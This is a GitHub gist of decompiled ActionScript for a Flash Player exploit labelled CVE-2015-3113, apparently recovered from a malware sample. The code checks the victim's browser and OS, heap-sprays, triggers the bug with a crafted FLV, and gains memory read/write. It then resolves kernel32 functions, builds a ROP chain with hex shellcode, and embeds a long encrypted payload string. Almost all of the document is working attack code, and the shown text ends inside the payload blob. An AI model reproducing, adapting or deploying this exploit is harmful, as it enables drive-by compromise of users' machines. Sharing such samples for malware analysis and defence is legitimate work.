Created
June 29, 2015 21:15
-
-
Save mak/bd71962aae98ab0b0441 to your computer and use it in GitHub Desktop.
CVE-2015-3113 from 205a625ebc3b0a9b286dc8f065845433
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
package | |
{ | |
import flash.display.MovieClip; | |
import flash.utils.ByteArray; | |
import flash.net.URLLoader; | |
import flash.utils.Timer; | |
import flash.media.Video; | |
import flash.display.Loader; | |
import flash.net.URLRequest; | |
import flash.events.Event; | |
import flash.external.ExternalInterface; | |
import flash.system.Capabilities; | |
import flash.net.SharedObject; | |
import flash.net.NetConnection; | |
import flash.net.NetStream; | |
import flash.events.NetStatusEvent; | |
import flash.utils.Endian; | |
import flash.net.URLLoaderDataFormat; | |
public class flappyMan extends MovieClip | |
{ | |
private var m_scKey = "145f40a98ee3da4f6866472fcec968c39bd6172570459d59397716941b0ebc8e6fb807064d6d9d2fd5dd818fa6d7748c44f8fd3748c99b8838396e2544837f654f076b9e99090bf947efeb5cc2792c2198649129d8af67879d4203cebcb9773f463155dc57a0822f61d207356af45bc4f03c0c6b69b853fe8fc0e5f96f929fcaec134fbcb55248224d2ff6c82a462c0fa2154a05885f94edb6594e2009a1d686dafd0b4ea1f084773321065dd11eb16b0d794f10854f4622c02116517b32604b30345a364d82432c463b204c765ee11a0f68c03af5e8e74260a53eb1fe40e4c110ee372c32c2768e3800d683ee1f94af8d52e6473542d9c6ca6368768c7f6e67205a3c7d0a1e7240c06c5e02d82d0992f11e320c5e2264fbb84f5bed6253ec8e0c952a0954b9ed391c698f6093065e00a82633735285310469ce82748256b3dc02b4e24453e986c30adae74543dd1c85a1b620fbb71e4dd09c3f6dfe3355f9cb344071b611ba3cfe4d1488ee4f1d2b09d294d237f5ceadad1a6c4d147ed2db2a59b47f7cd469735d2ede362ee55e5841b373c8ccbc30a637aa9b79"; | |
private var infectedObjIndex:int = 0; | |
private var changedPropertyObjIndex:int = 0; | |
private var subObjectValue:uint = 0; | |
private var offsetRepairValue:uint = 0; | |
private var iLoopCount:int = 0; | |
private var controlledAddr:uint = 0; | |
private var heapSprayObjAddr:uint = 521273344; | |
private var offset:int = 0; | |
private var iCountOffset:int = 184; | |
private var ropChainLen:int = 0; | |
private var uiNopValue:uint = 0; | |
private var recObjAddr:uint = 0; | |
private var storedObjIndex:int = 0; | |
private var jpgBytes:ByteArray; | |
private var jpgLoader:URLLoader; | |
private var btaObj:ByteArray; | |
private var outObj:OutClass; | |
private var regexp:RegExp; | |
public var vtObj20W:Vector.<Object>; | |
public var vtObj1H:Vector.<Object>; | |
public var vtObj20WLen:int = 1022; | |
public var vtObj1HLen:int = 1007; | |
private var heapSprayLenByEnv20W:int = 98688; | |
private var workTimerExploit:Timer; | |
private var bExploited:Boolean = false; | |
public var video:Video; | |
public function flappyMan() | |
{ | |
this.video = new Video(10,10); | |
super(); | |
this.btaObj = new ByteArray(); | |
this.outObj = new OutClass(); | |
this.vtObj20W = new Vector.<Object>(this.heapSprayLenByEnv20W); | |
this.vtObj1H = new Vector.<Object>(256); | |
this.workTimerExploit = new Timer(250,30); | |
var _loc1_:* = new URLRequest(); | |
this.jpgBytes = new ByteArray(); | |
this.jpgLoader = new URLLoader(); | |
if(this.checkEvn() == true) | |
{ | |
_loc1_.url = "k.gif"; | |
this.jpgLoader.dataFormat = URLLoaderDataFormat.BINARY; | |
this.jpgLoader.addEventListener(Event.COMPLETE,this.func_prepare); | |
this.jpgLoader.load(_loc1_); | |
} | |
} | |
public function randRange(param1:Number, param2:Number) : Number | |
{ | |
var _loc3_:Number = Math.floor(Math.random() * (param2 - param1 + 1)) + param1; | |
return _loc3_; | |
} | |
private function empty(param1:String) : void | |
{ | |
var _loc2_:Loader = new Loader(); | |
_loc2_.load(new URLRequest(param1)); | |
_loc2_.contentLoaderInfo.addEventListener(Event.COMPLETE,this.loadComplete); | |
} | |
private function loadComplete(param1:Event) : void | |
{ | |
} | |
private function checkBroswerEnv() : Boolean | |
{ | |
var _loc1_:String = ExternalInterface.call("eval","navigator.userAgent"); | |
if(_loc1_.toLowerCase().indexOf("chrome") >= 0) | |
{ | |
return false; | |
} | |
if(_loc1_.toLowerCase().indexOf("safari") >= 0) | |
{ | |
return false; | |
} | |
if(_loc1_.toLowerCase().indexOf("win64") >= 0) | |
{ | |
return false; | |
} | |
if(_loc1_.toLowerCase().indexOf("windows nt 5.1") >= 0 || _loc1_.toLowerCase().indexOf("windows nt 6.1") >= 0) | |
{ | |
if(_loc1_.toLowerCase().indexOf("firefox") >= 0) | |
{ | |
if(Capabilities.os.toLowerCase() == "windows xp") | |
{ | |
return true; | |
} | |
return false; | |
} | |
if(_loc1_.toLowerCase().indexOf("msie") >= 0 || _loc1_.toLowerCase().indexOf("trident/6.0") >= 0 || _loc1_.toLowerCase().indexOf("trident/7.0") >= 0) | |
{ | |
return true; | |
} | |
return false; | |
} | |
return false; | |
} | |
private function checkEvn() : Boolean | |
{ | |
var _loc1_:String = Capabilities.os; | |
if(_loc1_.toLowerCase().indexOf("windows") < 0) | |
{ | |
return false; | |
} | |
var _loc2_:* = Capabilities.version.toLowerCase().toString(); | |
if(_loc2_ == "win 17,0,0,169") | |
{ | |
return false; | |
} | |
return true; | |
} | |
private function checkSetSharobject() : Boolean | |
{ | |
var _loc1_:* = NaN; | |
var _loc2_:SharedObject = SharedObject.getLocal("koifcook"); | |
if(_loc2_.size == 0) | |
{ | |
_loc2_.close(); | |
return false; | |
} | |
_loc1_ = new Date().time - _loc2_.data.now; | |
if(_loc1_ < 1 * 24 * 60 * 60 * 1000) | |
{ | |
_loc2_.close(); | |
return true; | |
} | |
_loc2_.close(); | |
return false; | |
} | |
private function setSharobject() : Boolean | |
{ | |
var _loc1_:SharedObject = SharedObject.getLocal("koifcook"); | |
if(_loc1_.size == 0) | |
{ | |
_loc1_.data.now = new Date().time; | |
_loc1_.flush(); | |
_loc1_.close(); | |
return true; | |
} | |
return false; | |
} | |
public function func_prepare(param1:Event) : void | |
{ | |
var _loc2_:* = 0; | |
var _loc3_:* = 0; | |
var _loc4_:* = 0; | |
var _loc5_:NetConnection = new NetConnection(); | |
_loc5_.connect(null); | |
var _loc6_:NetStream = new NetStream(_loc5_); | |
this.video.attachNetStream(_loc6_); | |
_loc2_ = 0; | |
while(_loc2_ < this.heapSprayLenByEnv20W) | |
{ | |
this.vtObj20W[_loc2_] = new Vector.<uint>(this.vtObj20WLen); | |
this.vtObj20W[_loc2_][0] = 1094795585; | |
this.vtObj20W[_loc2_][1] = 1111638594; | |
_loc2_++; | |
} | |
_loc2_ = 0; | |
while(_loc2_ < 256) | |
{ | |
this.vtObj1H[_loc2_] = new Vector.<Object>(this.vtObj1HLen); | |
_loc3_ = 0; | |
while(_loc3_ < this.vtObj1HLen) | |
{ | |
this.vtObj1H[_loc2_][_loc3_] = this.outObj; | |
_loc3_++; | |
} | |
_loc2_++; | |
} | |
_loc2_ = this.heapSprayLenByEnv20W / 4; | |
while(_loc2_ < this.heapSprayLenByEnv20W / 2) | |
{ | |
this.vtObj20W[_loc2_] = null; | |
_loc2_ = _loc2_ + 3; | |
} | |
_loc6_.addEventListener(NetStatusEvent.NET_STATUS,this.statusChanged); | |
_loc6_.play("f.flv"); | |
} | |
private function statusChanged(param1:NetStatusEvent) : void | |
{ | |
if(param1.info.code == "NetStream.Play.Stop") | |
{ | |
this.logMsg("ready to go!"); | |
this.func_step2(); | |
} | |
} | |
public function func_step2() : void | |
{ | |
var _loc3_:uint = 0; | |
var _loc4_:* = undefined; | |
var _loc5_:* = undefined; | |
var _loc6_:* = undefined; | |
var _loc7_:uint = 0; | |
var _loc8_:uint = 0; | |
var _loc9_:* = 0; | |
var _loc10_:* = undefined; | |
var _loc11_:* = undefined; | |
var _loc12_:uint = 0; | |
var _loc13_:uint = 0; | |
var _loc14_:uint = 0; | |
var _loc15_:uint = 0; | |
var _loc16_:* = undefined; | |
var _loc17_:* = undefined; | |
var _loc18_:* = undefined; | |
var _loc19_:* = undefined; | |
var _loc20_:uint = 0; | |
var _loc21_:uint = 0; | |
var _loc22_:uint = 0; | |
var _loc23_:uint = 0; | |
var _loc24_:uint = 0; | |
var _loc25_:uint = 0; | |
var _loc26_:uint = 0; | |
var _loc27_:uint = 0; | |
var _loc28_:uint = 0; | |
var _loc29_:uint = 0; | |
var _loc30_:uint = 0; | |
var _loc31_:uint = 0; | |
var _loc32_:* = 0; | |
var _loc33_:* = 0; | |
var _loc34_:* = undefined; | |
var _loc35_:ByteArray = null; | |
var _loc36_:ByteArray = null; | |
var _loc37_:* = undefined; | |
var _loc38_:* = undefined; | |
var _loc39_:* = undefined; | |
var _loc40_:uint = 0; | |
var _loc41_:String = null; | |
var _loc42_:uint = 0; | |
var _loc43_:uint = 0; | |
var _loc44_:* = undefined; | |
var _loc45_:ByteArray = null; | |
var _loc46_:uint = 0; | |
var _loc47_:uint = 0; | |
var _loc48_:uint = 0; | |
var _loc49_:uint = 0; | |
var _loc50_:Vector.<uint> = null; | |
var _loc51_:* = undefined; | |
var _loc52_:ByteArray = null; | |
var _loc1_:* = this.heapSprayLenByEnv20W / 4; | |
while(_loc1_ < this.heapSprayLenByEnv20W / 2) | |
{ | |
this.vtObj20W[_loc1_] = new Vector.<uint>(this.vtObj20WLen); | |
this.vtObj20W[_loc1_][0] = 1094795585; | |
this.vtObj20W[_loc1_][1] = 1111638594; | |
_loc1_ = _loc1_ + 3; | |
} | |
if(this.bExploited == true) | |
{ | |
return; | |
} | |
_loc1_ = 0; | |
while(_loc1_ < this.heapSprayLenByEnv20W) | |
{ | |
try | |
{ | |
if((this.vtObj20W[_loc1_] as Vector.<uint>).length > this.vtObj20WLen) | |
{ | |
this.logMsg("find vul array!"); | |
this.bExploited = true; | |
break; | |
} | |
} | |
catch(e:Error) | |
{ | |
} | |
_loc1_++; | |
continue; | |
if(_loc1_ >= this.heapSprayLenByEnv20W) | |
{ | |
break; | |
} | |
break; | |
} | |
if(!this.bExploited) | |
{ | |
this.empty("a.gif"); | |
return; | |
} | |
this.changedPropertyObjIndex = _loc1_; | |
this.storedObjIndex = this.changedPropertyObjIndex; | |
var _loc2_:* = false; | |
_loc1_ = this.vtObj20WLen; | |
while(_loc1_ < 65536) | |
{ | |
if(this.vtObj20W[this.changedPropertyObjIndex][_loc1_] == this.vtObj20WLen && this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 2] == 1094795585 && this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 3] == 1111638594) | |
{ | |
this.offsetRepairValue = _loc1_; | |
this.vtObj20W[this.changedPropertyObjIndex][_loc1_] = 1073741823; | |
this.subObjectValue = this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 1]; | |
if(this.checkProperty() == true) | |
{ | |
break; | |
} | |
this.vtObj20W[this.changedPropertyObjIndex][_loc1_] = this.vtObj20WLen; | |
} | |
_loc1_++; | |
} | |
if(_loc1_ == 1048576) | |
{ | |
this.empty("b.gif"); | |
this.logMsg("CHANGE_LEN_FAILED.png"); | |
while(true) | |
{ | |
_loc1_++; | |
} | |
} | |
else | |
{ | |
_loc3_ = 0; | |
_loc1_ = this.vtObj20WLen; | |
while(_loc1_ < 262144) | |
{ | |
if(!(this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 4] == 0) && !(this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 6] == 0) && this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 4] % 4096 == 0 && this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 6] % 4096 == 0) | |
{ | |
if(this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 15] == 2 || this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 25] == 2) | |
{ | |
_loc3_ = this.vtObj20W[this.changedPropertyObjIndex][_loc1_ + 11] & 4.2949632E9; | |
if(_loc3_) | |
{ | |
break; | |
} | |
} | |
} | |
_loc1_++; | |
} | |
if(_loc1_ == 262144) | |
{ | |
this.vtObj20W[this.changedPropertyObjIndex][1073741824 - this.offsetRepairValue - 4] = this.vtObj20WLen; | |
this.exception_exit(); | |
this.logMsg("CTROLL_ADDRESS_FAILED.png"); | |
this.empty("c.gif"); | |
return; | |
} | |
this.controlledAddr = _loc3_ - _loc1_ * 4; | |
this.writeUnsignedInt(this.controlledAddr - this.offsetRepairValue * 4 - 16,this.vtObj20WLen); | |
this.writeUnsignedInt(this.controlledAddr - this.offsetRepairValue * 4 - 12,this.subObjectValue); | |
_loc4_ = _loc3_ & 4.2949632E9; | |
while(1) | |
{ | |
if(_loc4_ < 65536) | |
{ | |
return this.safe_exit(); | |
} | |
if(this.readUnsignedInt(_loc4_ + 16) >= 5) | |
{ | |
_loc4_ = this.readUnsignedInt(16 + _loc4_); | |
continue; | |
} | |
break; | |
} | |
_loc5_ = 0; | |
_loc6_ = 0; | |
while(_loc5_ < 100) | |
{ | |
if(this.readUnsignedInt(_loc4_ + 80 + _loc5_ * 40) > 268435456 && this.readUnsignedInt(_loc4_ + 76 + _loc5_ * 40) == 0 && this.readUnsignedInt(_loc4_ + 84 + _loc5_ * 40) == 0) | |
{ | |
_loc6_ = this.readUnsignedInt(_loc4_ + 80 + _loc5_ * 40); | |
if(this.readUnsignedInt(_loc6_ + 4) == this.vtObj1HLen && this.readUnsignedInt(_loc6_ + 16) == this.readUnsignedInt(_loc6_ + 64) && this.readUnsignedInt(_loc6_ + 28) == this.readUnsignedInt(_loc6_ + 44) && (this.readUnsignedInt(_loc6_ + 28))) | |
{ | |
break; | |
} | |
} | |
_loc5_++; | |
} | |
if(_loc5_ == 100) | |
{ | |
this.logMsg("find vtable failed!"); | |
this.safe_exit(); | |
this.empty("d.gif"); | |
return; | |
} | |
_loc6_ = this.readUnsignedInt(_loc6_ + 28); | |
_loc6_ = _loc6_ & 4.294967292E9; | |
this.logMsg("start to analyze flash module EAT,and get kernel dll base!"); | |
_loc7_ = this.getModuleBase(this.read32(_loc6_) & 4.29490176E9); | |
if(_loc7_ == 0) | |
{ | |
return; | |
} | |
_loc8_ = _loc7_; | |
_loc7_ = this.readUnsignedInt(_loc8_ + 60); | |
_loc7_ = this.readUnsignedInt(_loc8_ + _loc7_ + 128); | |
_loc7_ = _loc8_ + _loc7_; | |
_loc9_ = _loc7_; | |
_loc10_ = 0; | |
_loc11_ = 0; | |
_loc5_ = 0; | |
while(_loc5_ < 20) | |
{ | |
_loc7_ = _loc8_ + this.readUnsignedInt(_loc9_ + _loc5_ * 20 + 12); | |
if((this.readUnsignedInt(_loc7_) ^ 538976288) == 1852990827) | |
{ | |
_loc11_ = _loc8_ + this.readUnsignedInt(_loc9_ + _loc5_ * 20); | |
_loc10_ = _loc8_ + this.readUnsignedInt(_loc9_ + _loc5_ * 20 + 16); | |
break; | |
} | |
_loc5_++; | |
} | |
if(_loc5_ == 20) | |
{ | |
this.safe_exit(); | |
return; | |
} | |
_loc12_ = 0; | |
_loc13_ = 0; | |
_loc14_ = 0; | |
_loc15_ = 0; | |
_loc16_ = 0; | |
_loc5_ = 0; | |
while(_loc5_ < 1367 && _loc16_ < 2) | |
{ | |
_loc7_ = _loc8_ + this.readUnsignedInt(_loc11_ + _loc5_ * 4); | |
if(_loc7_ == _loc8_ || _loc7_ > _loc8_ + 16777215) | |
{ | |
break; | |
} | |
if(!_loc12_ && this.readUnsignedInt(_loc7_ + 2) == 1953655126 && this.readUnsignedInt(_loc7_ + 6) == 1097621877 && this.readUnsignedInt(_loc7_ + 10) == 1668246636) | |
{ | |
_loc13_ = _loc10_ + _loc5_ * 4; | |
_loc12_ = this.readUnsignedInt(_loc13_); | |
_loc16_++; | |
} | |
else if(!_loc14_ && this.readUnsignedInt(_loc7_ + 2) == 1349805383 && this.readUnsignedInt(_loc7_ + 6) == 1097035634 && this.readUnsignedInt(_loc7_ + 10) == 1701995620) | |
{ | |
_loc15_ = _loc10_ + _loc5_ * 4; | |
_loc14_ = this.readUnsignedInt(_loc15_); | |
_loc16_++; | |
} | |
_loc5_++; | |
} | |
if(_loc5_ == 1367) | |
{ | |
this.logMsg("GETPROCADDR_FAILED!"); | |
this.safe_exit(); | |
this.empty("e.gif"); | |
return; | |
} | |
_loc17_ = 0; | |
_loc18_ = 0; | |
_loc17_ = this.readUnsignedInt(_loc8_ + 60); | |
_loc18_ = this.readUnsignedInt(_loc8_ + _loc17_ + 264); | |
_loc17_ = this.readUnsignedInt(_loc8_ + _loc17_ + 260); | |
_loc17_ = _loc8_ + _loc17_; | |
_loc18_ = _loc8_ + _loc18_; | |
_loc5_ = _loc17_; | |
_loc19_ = 0; | |
_loc5_ = _loc17_; | |
this.logMsg("start to get garbeget!"); | |
while(_loc5_ < _loc18_) | |
{ | |
if(this.readUnsignedInt(_loc5_) == _loc13_ && (this.readUnsignedInt(_loc5_ - 2) & 65535) == 5631 && (this.readUnsignedInt(_loc5_ + 4) & 255) == 195) | |
{ | |
_loc19_ = _loc5_ - 2; | |
break; | |
} | |
_loc5_++; | |
} | |
_loc20_ = 0; | |
_loc21_ = 0; | |
_loc22_ = 0; | |
_loc23_ = 0; | |
_loc24_ = 0; | |
_loc25_ = 0; | |
_loc26_ = 0; | |
_loc27_ = 0; | |
_loc28_ = 0; | |
_loc29_ = 0; | |
_loc30_ = 0; | |
_loc5_ = _loc17_ + 4096; | |
_loc16_ = 0; | |
while(_loc5_ < _loc18_ - 4 && _loc16_ < 4) | |
{ | |
_loc22_ = this.readUnsignedInt(_loc5_); | |
if(!_loc26_ && (_loc22_ & 65535) == 50065) | |
{ | |
_loc26_ = _loc5_; | |
_loc16_++; | |
} | |
if(!_loc24_ && (_loc22_ & 65535) == 50008) | |
{ | |
_loc24_ = _loc5_; | |
_loc16_++; | |
} | |
if(!_loc30_ && (_loc22_ & 65535) == 50009) | |
{ | |
_loc30_ = _loc5_; | |
_loc16_++; | |
} | |
if(!_loc25_ && (_loc22_ & 65535) == 8447) | |
{ | |
_loc25_ = _loc5_; | |
_loc16_++; | |
} | |
_loc5_++; | |
} | |
if(_loc27_ == 0) | |
{ | |
_loc50_ = new Vector.<uint>(6); | |
_loc50_[0] = 72; | |
_loc50_[1] = 84; | |
_loc50_[2] = 76; | |
_loc50_[3] = 68; | |
_loc50_[4] = 64; | |
_loc50_[5] = 36; | |
_loc51_ = 0; | |
while(_loc51_ < _loc50_.length) | |
{ | |
_loc52_ = new ByteArray(); | |
_loc52_.endian = Endian.LITTLE_ENDIAN; | |
_loc52_.writeByte(94); | |
_loc52_.writeByte(131); | |
_loc52_.writeByte(196); | |
_loc52_.writeByte(_loc50_[_loc51_]); | |
_loc52_.writeByte(195); | |
_loc27_ = this.searchBytes(_loc52_,_loc17_,_loc18_); | |
if(_loc27_ != 0) | |
{ | |
this.logMsg("off:0x" + _loc50_[_loc51_].toString(16)); | |
break; | |
} | |
_loc51_++; | |
} | |
} | |
if(_loc12_ == 0 || _loc25_ == 0 || _loc24_ == 0 || _loc19_ == 0 || _loc14_ == 0 || _loc27_ == 0 || _loc30_ == 0) | |
{ | |
this.logMsg("find gadget failed!"); | |
this.empty("f.gif"); | |
this.safe_exit(); | |
return; | |
} | |
this.logMsg("_loc20:0x" + _loc19_.toString(16) + ";loc15:0x" + _loc14_.toString(16) + ";loc28:0x" + _loc27_.toString(16) + "_locAddEsp:0x" + _loc29_.toString(16)); | |
_loc31_ = this.getModuleBase(_loc12_ & 4.29490176E9); | |
if(_loc31_ == 0) | |
{ | |
this.empty("h.gif"); | |
this.logMsg("get kernel base failed!"); | |
this.safe_exit(); | |
return; | |
} | |
_loc32_ = _loc24_ + 1; | |
_loc33_ = this.heapSprayObjAddr + 131328; | |
_loc34_ = _loc33_ & 4.2949632E9; | |
_loc35_ = new ByteArray(); | |
_loc35_.endian = Endian.LITTLE_ENDIAN; | |
_loc5_ = 0; | |
while(_loc5_ < 256) | |
{ | |
_loc35_.writeUnsignedInt(this.readUnsignedInt(_loc34_ + 4 * _loc5_++)); | |
} | |
_loc36_ = new ByteArray(); | |
_loc36_.endian = Endian.LITTLE_ENDIAN; | |
_loc5_ = 0; | |
while(_loc5_ < 262144) | |
{ | |
_loc36_.writeUnsignedInt(this.readUnsignedInt(_loc33_ + 4 * _loc5_++)); | |
} | |
_loc37_ = 256; | |
_loc38_ = 16; | |
_loc39_ = 0; | |
_loc40_ = _loc33_ + _loc37_ + _loc38_; | |
this.writeUnsignedInt(_loc34_ + 4 * _loc39_++,_loc40_); | |
_loc39_ = 0; | |
this.ropChainLen = _loc39_ * 4; | |
while(_loc39_ < _loc37_ / 4) | |
{ | |
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,_loc33_ + _loc37_); | |
} | |
if(_loc26_ == 0) | |
{ | |
_loc26_ = 3.435973836E9; | |
} | |
while(_loc39_ < (_loc37_ + _loc38_) / 4) | |
{ | |
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,_loc26_); | |
} | |
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,2.425393296E9); | |
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,3.096481936E9); | |
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,_loc34_ + 8); | |
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,3.146813584E9); | |
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,_loc14_); | |
this.writeUnsignedInt(_loc33_ + 4 * _loc39_++,2.425362569E9); | |
_loc41_ = "5781ece0050000c70424100001008d7c2404b9dc05000033c0f3aa546afeffd381c4e00500005f"; | |
_loc42_ = 0; | |
_loc42_ = this.writeBytes(_loc33_ + 4 * _loc39_++,this.hexToBin("6a0068746578746864436F6E686872656168536574545468")); | |
this.writeUnsignedInt(_loc42_,_loc31_); | |
_loc42_ = this.writeBytes(_loc42_ + 4,this.hexToBin("ffD38bd883c41483fb007430")); | |
_loc42_ = this.writeBytes(_loc42_,this.hexToBin(_loc41_)); | |
_loc43_ = _loc42_ + 4 & 4.294967292E9; | |
_loc39_ = 0; | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9); | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9); | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9); | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9); | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9); | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.425393296E9); | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,3.967914128E9); | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,240); | |
this.writeUnsignedInt(_loc43_ + 4 * _loc39_++,2.418291849E9); | |
_loc44_ = "13562bcd8d6a0d486a083f4fb15552b7232f678b6f7ee6a7ac4697db3fb65b9ce5a70428eb982f6b418973960a47f388cc5aa28a03874649b18935c2e044d4bbeb43c3ac9170c72b0867c9228f9a877e111810060dbc25f40eb1c8bbc014e15e9ee683e1ec15b4cfb064a4080cb32bbe6cc820e6659961b02bf723d82695c67b9d7dd75da8de9907aa7b840a14bfa3b40f5d9bdbbfd2c8b24aeda823f1ac4e40cde0c63a16e6e36805566210e11249652b266e06b927189069cbca2985942163279eecc3c79390a33fe5c0cd153135b2c8a428b29f244d25b2ce6294703e1ffdbf6ce7a563ef0805dd7cb3c1e145db7e0e2631b93bd285cdb547839fde9781c43a3d89da60e48091875356df108f0bb33dfcc155fb1b4380154d81dc3d010fe8856b588c5ac0d57334c3c4edb93b680f67b72a8eb69bc365539de853e7b3cdb391bcf48c16d81b2f50f67011ab23eed5ef4ed6546fdd19f51ea8cbbf0be867e77ff29c81b65cc9219165f7da223b97f5fddb5bbe431b9d565a849b8ee29c952a79977b334f6f099ebfddd5305840999e877a005b0e1e03387a9cf6edf10ed8052916a371c7c640f087f23dc67c176551a59f9940b18a3a19fbcd24e71a66211d2210b3786793d327a61bc6114f4a2c54c600d596fdc7c13c34f3083e3b0af5898fb0290ada848958aae1bacd6862891af7e83a932eba684e53de4b7c966eb660a0a0437ecd41d2e7b349b097541a79b5f73b537fe3021c628474fc6ac2a52853500afb8ed81d59487fafe46a7cecd3732f2d7928f60c6c51b720a92beabb89c1bcb2866a75e0a80a4377a1d0d41eb6af9b499ef52442f06854d141becd359612867a9d70334e2b7c76bbb96685747f3cc268852bea7ae00409a4eb5d66bbbab36eec58d1e5da6c3ada1c23e7faf57d46b0b819bdce7cf27fbc0c37231b7c69adb73f94daa176ed8511f7eb978b4b2769911147f2180ad2a3679198acc8ea5df9fead3dea7e082db1b61eebd97aa567f44d712c5bc6482942ae1d381b62745f95ddf92f4ca40b388ba35c4acbc733e6ba3eba055e57fcceeeeb96e8158c9004f4181be79882a26453231360e32a9e31cdb41ea87b461df2a47f3c6c4fc9080eb7e9e5b6bfd91624909d3ad109eca7d9a7a555b3dc4df7cb7c900db80b2938cc1bf850deeeb3a96481715e7dbaae703401642d527f865678d8283161946da7665bd40a09edd971a23f76c76600e8a143dd91229828070deca9a80f4e5bbff2de777a18eebd4a9b0e553ff232c1d800f2b3464c5ab060a35bc6ec7890f5798c5f9580edb5474c2fbb9b3620f669ef79149df1d4036bd9f9aa5d6f7c3cc188ad6caf456ac9b51f589d1c5f5910c8c598c1873c62132993f4ec8fa130c628f48fb8d8a33968238a25f048b2ad4f55d3225b519a0ea8ebbb11b0697863897f7c23fea0df050cf56df3958063cbf7e57219a4c5884ce71efa0b724e2881c30e6167f366ffe404ad91605cffd4c89eb3c061436f8f5b6f15f8418225604ecd742f7758c4d811eb5bd728207d75fa07778b829dc360bd47dbb6d71066af714e9bf06a145fdf6579edda469d2efa329f77fc3331421d2ee72a640fb966477b0e3bcdcd222163ccdfc080fe3dc41a78d4404234e92af4b07aa62f41ce4ec7952fa4f1f46249dfcee69b5c8de135379353a6c94014f3d872cf65485424cd84bee75ed41cc20989e6d33559704b511310ea3ad32f85e2f324301514451eeb3c2d160b6089c46db2b8346ff8d163eab6ad629d01932f2a16974b780dc080eaecdaacbbf9ecd82e1ca3f2a0ffb9f42d48c8c9a87bba0e5053ed1ea1f9eacb6dd590891bf94d552f42cb34b6b3d057deb0f33d6eb05ee642ec2cf58f5eb9ca088ef3564aac07a8847ef6b11e6cedf6ac0853546b2f19d95fdd24b23bfd515e42782fba042333d20ebad9df31d5a71ebca513952a9ca02c3bedcb2761e923c44d31bfbfe99b283a544957c0788ced2921ad34a00330417ba8f504575a0a64790b2451b939bd7d5b5b896d449580d69f0e1b26f52e227781f0c1f8e7d757b4edd0ae7d74046d8f1f6404c65173a9a916a077071b4897ef451021e65428fcc6670cc267b8d511d48d7ffe7acfaa474526facec61b4484ad38dc65de3feb7fe27956d3070dc1a2e6831b4ac0fa697caa873290feab2f32019e82a1949dffa9fc0c5f61954b423ceb4585ee5de53be079f71f04cfefd76226f3df94ee525023f58cd9e96d56aeeeeb9df8bd321e10911f0cae63f94e48f0c895efbf6e1aadf67b4ba630cfec8bc9590975c9ed6003b21de46cbf40ceafe31753e8e148a2cce20ca389536312151e1e5dc20c49e847afad802f1e8e05d404366034b4afe3d38445598ecc87d4e72e8726d478eda1e4185aaa9a50d739a388ff248c07e8bb5392d4dd924218d9e9f411c00d2c4f6332ed92d2ee3bcd238a7e9e303625f7bb515cfeadcea1468b430e75c26ad6038b50fb4044a20d05110dea83e43f7c8ece51a2c2b81e0bfce334dd467086a9d6a806a19e67ac6fd63842ad7e1949afe4d8023f588d05c7de425e0362acb2f393d9d14fa18d95bc39cff977a962b321f23789cb7d07cc0c9d4aa6d0a881fad6b29f743a8bfa017a538426c46fcac25bd4e1e6a99cdf8556d315cfc871a065555e4c15b8606f85d8272f8652790d2e833f1277fcd03747d6afb97cdca52c6ed396844e5050859306076a872e17a83fa1c85633a6cbc1c806eac610637a5f3b64483aa14ebb644101874a06e6d75075e3c40948198d3aaf5aae1d4a81ca56713a151648c9a421d11bce2b2cec2a28f7bf648e30da3439de019d20939f30df00b270459e756a9d0763e5f1b41b3b77d56a921687b2a44d617d04a8800b31f685d973167827b3eba32acf869768c771e864e1a2dd8fe6ffe23a6077f67960cfa6d53d4025baa2dad522253a538a494fa5b2102afbdc76e3338a10c826902a62404991f5cdf03a939c755e0f1168696b2a1d09b96d0bd4dfa5361bfbd8070d3b3537d998b3110b50e480ed7c0836240b0b67eb29bd668d4bb40761d29ec761cb07573b86f8d015d295b72e6f6c9920e6d674644e7541a25666e33a2316d193e0776c19ebfe791db4f80ebd498157cf15341dada859a037785d1f7ba06466ed668831f3c9795a4477ba44b9d9ddd0e544d7aa2d4e7c33b9bc30219bf8d1d27eaba69255b46acb7e5d0ec6b01d0fb6e7c93e2d12f56cb604b53590e31c7e46ee73c32170ade42737f20e942a5d47f53d205852c095e935f1e62448d12a1a4f80cb259a77a8b6895e3864c291b8df972eda1853f215aa190ed11ff57c8a9c2ff93acb3d17b13fb45863d817df0ad9d146a5173298fc22d8e7d1db1181921ae8d49b2dc13a55b387a2380160e5220db5c0cebababa7b179fc486a7d4ac1736175f64ecd971afeac730044e719b4aa1d5cd95294c705c25278f4044ab0b0e032ff73dfb0ae6ae4352b2e289796fec60c9c84fbcf13f3d20e658a336b4958631836dc3174e2602b59209704cf9a7c3d79a12b0c0fe41d52107022039d04568b421f27ab67894804bd13da0a1bf6959dc1b46c9ded96b95841f771f0814ca223f7cfc8c6bdda45b4e5ea1a260ec78ec1e3b24589e7b16c91b209227e6b237469ccd3ea3fbd8b110aeea7114d96b37059dbf90a58205cfbd56abc7deb433e748520e43462a18e7516c67af39c500bf998187af372781992f0fd9a103af8d44e436a3d5ae00d9283ce5d8d7ed4385626469c0ae14020dc68fd